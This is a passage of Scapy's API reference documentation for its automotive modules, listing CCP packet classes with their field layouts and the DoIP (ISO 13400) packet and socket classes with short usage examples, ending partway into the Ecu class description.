
	
class scapy.contrib.automotive.ccp.PROGRAM(_pkt, /, *, size=0, data=b'', ccp_reserved=b'\xff\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L285-L292]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      SIZE     |              DATA             |  CCP RESERVED |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. PROGRAM                           


PROGRAM fields






	size

	XByteField

	0



	data

	StrFixedLenField

	b''



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.PROGRAM_6(_pkt, /, *, data=b'\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L298-L301]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. PROGRAM_6                          


PROGRAM_6 fields






	data

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.automotive.ccp.PROGRAM_6_DTO(_pkt, /, *, MTA0_extension=0, MTA0_address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L467-L471]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MTA0 EXTENSION|                  MTA0 ADDRESS                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. PROGRAM_6_DTO                        


PROGRAM_6_DTO fields






	MTA0_extension

	ByteField

	0



	MTA0_address

	XIntField

	0















	
class scapy.contrib.automotive.ccp.PROGRAM_DTO(_pkt, /, *, MTA0_extension=0, MTA0_address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L460-L464]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MTA0 EXTENSION|                  MTA0 ADDRESS                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. PROGRAM_DTO                         


PROGRAM_DTO fields






	MTA0_extension

	ByteField

	0



	MTA0_address

	XIntField

	0















	
class scapy.contrib.automotive.ccp.SELECT_CAL_PAGE(_pkt, /, *, ccp_reserved=b'\xff\xff\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L176-L179]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CCP RESERVED                         |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SELECT_CAL_PAGE                       


SELECT_CAL_PAGE fields






	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.SET_DAQ_PTR(_pkt, /, *, DAQ_num=0, ODT_num=0, ODT_element=0, ccp_reserved=b'\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L196-L202]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    DAQ NUM    |    ODT NUM    |  ODT ELEMENT  |  CCP RESERVED |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SET_DAQ_PTR                         


SET_DAQ_PTR fields






	DAQ_num

	XByteField

	0



	ODT_num

	XByteField

	0



	ODT_element

	XByteField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.SET_MTA(_pkt, /, *, mta_num=0, address_extension=0, address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L125-L130]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MTA NUM    |ADDRESS EXTENSI|            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. SET_MTA                           


SET_MTA fields






	mta_num

	XByteField

	0



	address_extension

	XByteField

	0



	address

	XIntField

	0















	
class scapy.contrib.automotive.ccp.SET_S_STATUS(_pkt, /, *, session_status=<Flag 0 ()>, ccp_reserved=b'\xff\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L244-L250]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SESSION STATUS|                  CCP RESERVED                 |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SET_S_STATUS                         


SET_S_STATUS fields






	session_status

	FlagsField

	<Flag 0 ()>



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.SHORT_UP(_pkt, /, *, size=0, address_extension=0, address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L165-L170]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      SIZE     |ADDRESS EXTENSI|            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SHORT_UP                           


SHORT_UP fields






	size

	XByteField

	0



	address_extension

	XByteField

	0



	address

	XIntField

	0















	
class scapy.contrib.automotive.ccp.SHORT_UP_DTO(_pkt, /, *, data=b'\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L427-L430]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. SHORT_UP_DTO                         


SHORT_UP_DTO fields






	data

	StrFixedLenField

	b'\x00\x00\x00\x00\x00'















	
class scapy.contrib.automotive.ccp.START_STOP(_pkt, /, *, mode=0, DAQ_num=0, ODT_num=0, event_channel=0, transmission_rate=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L219-L226]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     |    DAQ NUM    |    ODT NUM    | EVENT CHANNEL |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       TRANSMISSION RATE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. START_STOP                          


START_STOP fields






	mode

	XByteField

	0



	DAQ_num

	XByteField

	0



	ODT_num

	XByteField

	0



	event_channel

	XByteField

	0



	transmission_rate

	XShortField

	0















	
class scapy.contrib.automotive.ccp.START_STOP_ALL(_pkt, /, *, type=0, ccp_reserved=b'\xff\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L336-L341]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |                  CCP RESERVED                 |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. START_STOP_ALL                        


START_STOP_ALL fields






	type

	ByteEnumField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.TEST(_pkt, /, *, station_address=0, ccp_reserved=b'\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L317-L321]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        STATION ADDRESS        |          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. TEST                             


TEST fields






	station_address

	LEShortField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.UNLOCK(_pkt, /, *, key=b'\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L116-L119]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              KEY                              |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UNLOCK                            


UNLOCK fields






	key

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.automotive.ccp.UNLOCK_DTO(_pkt, /, *, privilege_status=0, ccp_reserved=b'\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L400-L404]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PRIVILEGE STATU|                  CCP RESERVED                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. UNLOCK_DTO                          


UNLOCK_DTO fields






	privilege_status

	ByteField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.UPLOAD(_pkt, /, *, size=0, ccp_reserved=b'\xff\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L155-L159]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      SIZE     |                  CCP RESERVED                 |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UPLOAD                            


UPLOAD fields






	size

	XByteField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.UPLOAD_DTO(_pkt, /, *, data=b'\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L421-L424]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. UPLOAD_DTO                          


UPLOAD_DTO fields






	data

	StrFixedLenField

	b'\x00\x00\x00\x00\x00'















	
class scapy.contrib.automotive.ccp.WRITE_DAQ(_pkt, /, *, DAQ_size=0, address_extension=0, address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L208-L213]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    DAQ SIZE   |ADDRESS EXTENSI|            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. WRITE_DAQ                          


WRITE_DAQ fields






	DAQ_size

	XByteField

	0



	address_extension

	XByteField

	0



	address

	XIntField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.doip


	
class scapy.contrib.automotive.doip.DoIP(_pkt, /, *, protocol_version=2, inverse_version=253, payload_type=0, payload_length=None, nack=0, vin=b'', logical_address=0, eid=b'', gid=b'', further_action=0, vin_gid_status=0, source_address=0, activation_type=0, logical_address_tester=0, logical_address_doip_entity=0, routing_activation_response=0, reserved_iso=0, reserved_oem=b'', diagnostic_power_mode=0, node_type=0, max_open_sockets=1, cur_open_sockets=0, max_data_size=0, target_address=0, ack_code=0, nack_code=0, previous_msg=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L45-L259]

	Bases: Packet

Implementation of the DoIP (ISO 13400) protocol. DoIP packets can be sent
via UDP and TCP. Depending on the payload type, the correct connection
need to be chosen:



	Payload Type

	Payload Type Name

	Connection Kind



	0x0000

	Generic DoIP header negative acknowledge

	UDP / TCP



	0x0001

	Vehicle Identification request message

	UDP



	0x0002

	Vehicle identification request message with EID

	UDP



	0x0003

	Vehicle identification request message with VIN

	UDP



	0x0004

	Vehicle announcement message/vehicle identification response

	UDP



	0x0005

	Routing activation request

	TCP



	0x0006

	Routing activation response

	TCP



	0x0007

	Alive Check request

	TCP



	0x0008

	Alive Check response

	TCP



	0x4001

	IP entity status request

	UDP



	0x4002

	DoIP entity status response

	UDP



	0x4003

	Diagnostic power mode information request

	UDP



	0x4004

	Diagnostic power mode information response

	UDP



	0x8001

	Diagnostic message

	TCP



	0x8002

	Diagnostic message positive acknowledgement

	TCP



	0x8003

	Diagnostic message negative acknowledgement

	TCP







	Example with UDP:
	>>> socket = L3RawSocket(iface="eth0")
>>> resp = socket.sr1(IP(dst="169.254.117.238")/UDP(dport=13400)/DoIP(payload_type=1))







	Example with TCP:
	>>> socket = DoIPSocket("169.254.117.238")
>>> pkt = DoIP(payload_type=0x8001, source_address=0xe80, target_address=0x1000) / UDS() / UDS_RDBI(identifiers=[0x1000])
>>> resp = socket.sr1(pkt, timeout=1)







	Example with UDS:
	>>> socket = UDS_DoIPSocket("169.254.117.238")
>>> pkt = UDS() / UDS_RDBI(identifiers=[0x1000])
>>> resp = socket.sr1(pkt, timeout=1)










	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L221-L235]

	DEV: true if self is an answer from other






	
extract_padding(s: bytes) → Tuple[bytes, bytes | None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L254-L259]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PROTOCOL VERSIO|INVERSE VERSION|          PAYLOAD TYPE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         PAYLOAD LENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      NACK     |                      VIN                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        LOGICAL ADDRESS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              EID                              |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              GID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| FURTHER ACTION| VIN GID STATUS|         SOURCE ADDRESS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ACTIVATION TYPE|     LOGICAL ADDRESS TESTER    |LOGICAL ADDRESS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |ROUTING ACTIVAT|          RESERVED ISO         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          RESERVED OEM         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DIAGNOSTIC POWE|   NODE TYPE   |MAX OPEN SOCKET|CUR OPEN SOCKET|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MAX DATA SIZE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         TARGET ADDRESS        |    ACK CODE   |   NACK CODE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PREVIOUS MSG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. DoIP                             


DoIP fields






	protocol_version

	XByteField

	2



	inverse_version

	XByteField

	253



	payload_type

	XShortEnumField

	0



	payload_length

	IntField

	None



	nack

	ByteEnumField (Cond)

	0



	vin

	StrFixedLenField (Cond)

	b''



	logical_address

	XShortField (Cond)

	0



	eid

	StrFixedLenField (Cond)

	b''



	gid

	StrFixedLenField (Cond)

	b''



	further_action

	MayEnd (Cond)

	0



	vin_gid_status

	XByteEnumField (Cond)

	0



	source_address

	XShortField (Cond)

	0



	activation_type

	XByteEnumField (Cond)

	0



	logical_address_tester

	XShortField (Cond)

	0



	logical_address_doip_entity

	XShortField (Cond)

	0



	routing_activation_response

	XByteEnumField (Cond)

	0



	reserved_iso

	XIntField (Cond)

	0



	reserved_oem

	XStrField (Cond)

	b''



	diagnostic_power_mode

	XByteEnumField (Cond)

	0



	node_type

	ByteEnumField (Cond)

	0



	max_open_sockets

	XByteField (Cond)

	1



	cur_open_sockets

	XByteField (Cond)

	0



	max_data_size

	IntField (Cond)

	0



	target_address

	XShortField (Cond)

	0



	ack_code

	XByteEnumField (Cond)

	0



	nack_code

	ByteEnumField (Cond)

	0



	previous_msg

	XStrField (Cond)

	b''











	
hashret() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L237-L242]

	




	
payload_guess

	Possible sublayers:
UDS






	
payload_types = {0: 'Generic DoIP header NACK', 1: 'Vehicle identification request', 2: 'Vehicle identification request with EID', 3: 'Vehicle identification request with VIN', 4: 'Vehicle announcement message/vehicle identification response message', 5: 'Routing activation request', 6: 'Routing activation response', 7: 'Alive check request', 8: 'Alive check response', 16385: 'DoIP entity status request', 16386: 'DoIP entity status response', 16387: 'Diagnostic power mode information request', 16388: 'Diagnostic power mode information response', 32769: 'Diagnostic message', 32770: 'Diagnostic message ACK', 32771: 'Diagnostic message NACK'}

	




	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L244-L252]

	This will set the Field ‘payload_length’ to the correct value.










	
class scapy.contrib.automotive.doip.DoIPSocket(ip: str = '127.0.0.1', port: int = 13400, activate_routing: bool = True, source_address: int = 3712, target_address: int = 0, activation_type: int = 0, reserved_oem: bytes = b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L262-L346]

	Bases: StreamSocket

Custom StreamSocket for DoIP communication. This sockets automatically
sends a routing activation request as soon as a TCP connection is
established.


	Parameters:

	
	ip – IP address of destination


	port – destination port, usually 13400


	activate_routing – If true, routing activation request is
automatically sent


	source_address – DoIP source address


	target_address – DoIP target address, this is automatically
determined if routing activation request is sent


	activation_type – This allows to set a different activation type for
the routing activation request


	reserved_oem – Optional parameter to set value for reserved_oem field
of routing activation request








Example

>>> socket = DoIPSocket("169.254.0.131")
>>> pkt = DoIP(payload_type=0x8001, source_address=0xe80, target_address=0x1000) / UDS() / UDS_RDBI(identifiers=[0x1000])
>>> resp = socket.sr1(pkt, timeout=1)






	
recv(x: int | None = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L298-L316]

	








	
class scapy.contrib.automotive.doip.DoIPSocket6(ip: str = '::1', port: int = 13400, activate_routing: bool = True, source_address: int = 3712, target_address: int = 0, activation_type: int = 0, reserved_oem: bytes = b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L349-L384]

	Bases: DoIPSocket

Custom StreamSocket for DoIP communication over IPv6.
This sockets automatically sends a routing activation request as soon as
a TCP connection is established.


	Parameters:

	
	ip – IPv6 address of destination


	port – destination port, usually 13400


	activate_routing – If true, routing activation request is
automatically sent


	source_address – DoIP source address


	target_address – DoIP target address, this is automatically
determined if routing activation request is sent


	activation_type – This allows to set a different activation type for
the routing activation request


	reserved_oem – Optional parameter to set value for reserved_oem field
of routing activation request








Example

>>> socket = DoIPSocket6("2001:16b8:3f0e:2f00:21a:37ff:febf:edb9")
>>> socket_link_local = DoIPSocket6("fe80::30e8:80ff:fe07:6d43%eth1")
>>> pkt = DoIP(payload_type=0x8001, source_address=0xe80, target_address=0x1000) / UDS() / UDS_RDBI(identifiers=[0x1000])
>>> resp = socket.sr1(pkt, timeout=1)










	
class scapy.contrib.automotive.doip.UDS_DoIPSocket(ip: str = '127.0.0.1', port: int = 13400, activate_routing: bool = True, source_address: int = 3712, target_address: int = 0, activation_type: int = 0, reserved_oem: bytes = b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L387-L418]

	Bases: DoIPSocket

Application-Layer socket for DoIP endpoints. This socket takes care about
the encapsulation of UDS packets into DoIP packets.

Example

>>> socket = UDS_DoIPSocket("169.254.117.238")
>>> pkt = UDS() / UDS_RDBI(identifiers=[0x1000])
>>> resp = socket.sr1(pkt, timeout=1)






	
recv(x: int | None = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L412-L418]

	




	
send(x: Packet | bytes) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L397-L410]

	








	
class scapy.contrib.automotive.doip.UDS_DoIPSocket6(ip: str = '::1', port: int = 13400, activate_routing: bool = True, source_address: int = 3712, target_address: int = 0, activation_type: int = 0, reserved_oem: bytes = b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/doip.py#L421-L431]

	Bases: DoIPSocket6, UDS_DoIPSocket

Application-Layer socket for DoIP endpoints. This socket takes care about
the encapsulation of UDS packets into DoIP packets.

Example

>>> socket = UDS_DoIPSocket6("2001:16b8:3f0e:2f00:21a:37ff:febf:edb9")
>>> pkt = UDS() / UDS_RDBI(identifiers=[0x1000])
>>> resp = socket.sr1(pkt, timeout=1)












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.ecu


	
class scapy.contrib.automotive.ecu.Ecu(logging: bool = True, verbose: bool = True, store_supported_responses: bool = True, lookahead: int = 10)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L258-L452]

	Bases: object


	An Ecu object can be used to
	
	track the states of an Ecu.


	to log all modification to an Ecu.


	to extract supported responses of a real Ecu.








Example

>>> print("This ecu logs, tracks and creates supported responses")
>>> my_virtual_ecu = Ecu()
>>> my_virtual_ecu.update(PacketList([...]))
>>> my_virtual_ecu.supported_responses
>>> print("Another ecu just tracks")
>>> my_tracking_ecu = Ecu(logging=False, store_supported_responses=False)
>>> my_tracking_ecu.update(PacketList([...]))
>>> print("Another ecu just logs all modifications to it")
>>> my_logging_ecu = Ecu(verbose=False, store_supported_responses=False)
>>> my_logging_ecu.update(PacketList([...]))
>>> my_logging_ecu.log
>>> print("Another ecu just creates supported responses")
>>> my_response_ecu = Ecu(verbose=False, logging=False)
>>> my_response_ecu.update(PacketList([...]))
>>> my_response_ecu.supported_responses





Parameters to initialize an Ecu object


	Parameters:

	
